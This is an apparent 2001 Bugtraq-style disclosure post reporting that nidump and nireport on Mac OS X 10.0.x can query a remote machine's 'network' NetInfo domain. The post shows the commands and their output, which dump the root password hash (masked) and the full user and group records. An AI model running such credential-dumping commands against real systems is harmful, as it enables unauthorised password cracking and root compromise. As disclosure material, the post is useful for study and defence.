OSX remote root

[dotslash@snosoft.com]

I have seen mention of nidump being used local to an OSX box to take
root... I have found that with the use of "tags" it is also a remote
root. I have not notified apple due to the fact that they did nothing 
about the original local
exploit. Any machine with a "network" nidomain is vulnerable. It may
also be possible to spoof a connect to the "local" domain however I have 
not tested this.
-KF

bugtraq id	2953
object	nidump
class	Design Error
cve	CVE-MAP-NOMATCH
remote	No
local	Yes
published	Jun 26, 2001
updated	Sep 04, 2001
vulnerable	Apple MacOS X 10.0
Apple MacOS X 10.0.1
Apple MacOS X 10.0.2
Apple MacOS X 10.0.3
Apple MacOS X 10.0.4

the above needs updated to remote Yes

[dhcpxxx:~] elguapo% nidomain -l xxx.xxx.net
tag=network udp=797 tcp=798
tag=local udp=795 tcp=796

[dhcpxxxxxx:~] elguapo% nidump -t xxx.xxx.net/network passwd
root:xxxxxxxx.:0:0::0:0:System Administrator:/private/var/root:/bin/tcsh

[dhcpxxx:~] elguapo% nireport -t xxx.xxx.net/network /users name uid
passwd
root    0       xxxxxxxxx.

[dhcpxxxx:~] elguapo% nidump -r / -t xxx.xxxx.net/network
{
     "master" = ( "localhost/network" );
     CHILDREN = (
       {
         "name" = ( "machines" );
         CHILDREN = (
           {
             "name" = ( "localhost" );
             "ip_address" = ( "xxx.xxx.xxx.xxx" );
             "serves" = ( "./network", "localhost/local" );
           }
         )
       },
       {
         "name" = ( "users" );
         CHILDREN = (
           {
             "name" = ( "root" );
             "passwd" = ( "xxxxxxxxx." );
             "uid" = ( "0" );
             "gid" = ( "0" );
             "change" = ( "0" );
             "expire" = ( "0" );
             "realname" = ( "System Administrator" );
             "home" = ( "/private/var/root" );
             "shell" = ( "/bin/tcsh" );
           }
         )
       },
       {
         "name" = ( "groups" );
         CHILDREN = (
           {
             "name" = ( "nobody" );
             "gid" = ( "-2" );
             "passwd" = ( "*" );
           },
           {
             "name" = ( "nogroup" );
             "gid" = ( "-1" );
             "passwd" = ( "*" );
           },
           {
             "passwd" = ( "*" );
             "name" = ( "wheel" );
             "gid" = ( "0" );
             "users" = ( "xxxxx" );
           },
           {
             "name" = ( "daemon" );
             "gid" = ( "1" );
             "passwd" = ( "*" );
             "users" = ( "root" );
           },
           {
             "name" = ( "kmem" );
             "gid" = ( "2" );
             "passwd" = ( "*" );
             "users" = ( "root" );
           },
           {
             "name" = ( "sys" );
             "gid" = ( "3" );
             "passwd" = ( "*" );
             "users" = ( "root" );
           },
           {
             "name" = ( "tty" );
             "gid" = ( "4" );
             "passwd" = ( "*" );
             "users" = ( "root" );
           },
           {
             "name" = ( "operator" );
             "gid" = ( "5" );
             "passwd" = ( "*" );
             "users" = ( "root" );
           },
           {
             "name" = ( "mail" );
             "gid" = ( "6" );
             "passwd" = ( "*" );
           },
           {
             "name" = ( "bin" );
             "gid" = ( "7" );
             "passwd" = ( "*" );
           },
           {
             "name" = ( "staff" );
             "gid" = ( "20" );
             "passwd" = ( "*" );
             "users" = ( "root" );
           },
           {
             "name" = ( "guest" );
             "gid" = ( "31" );
             "passwd" = ( "*" );
             "users" = ( "root" );
           },
           {
             "name" = ( "utmp" );
             "gid" = ( "45" );
             "passwd" = ( "*" );
           },
           {
             "name" = ( "uucp" );
             "gid" = ( "66" );
             "passwd" = ( "*" );
           },
           {
             "name" = ( "dialer" );
             "gid" = ( "68" );
             "passwd" = ( "*" );
           },
           {
             "name" = ( "network" );
             "gid" = ( "69" );
             "passwd" = ( "*" );
           },
           {
             "name" = ( "www" );
             "gid" = ( "70" );
             "passwd" = ( "*" );
           },
           {
             "passwd" = ( "*" );
             "name" = ( "admin" );
             "gid" = ( "80" );
             "users" = ( "xxxxxx" );
           },
           {
             "name" = ( "unknown" );
             "gid" = ( "99" );
             "passwd" = ( "*" );
           }
         )
       },
       {
         "name" = ( "aliases" );
       },
       {
         "name" = ( "fax_modems" );
       },
       {
         "name" = ( "mounts" );
       },
       {
         "name" = ( "printers" );
       }
     )
}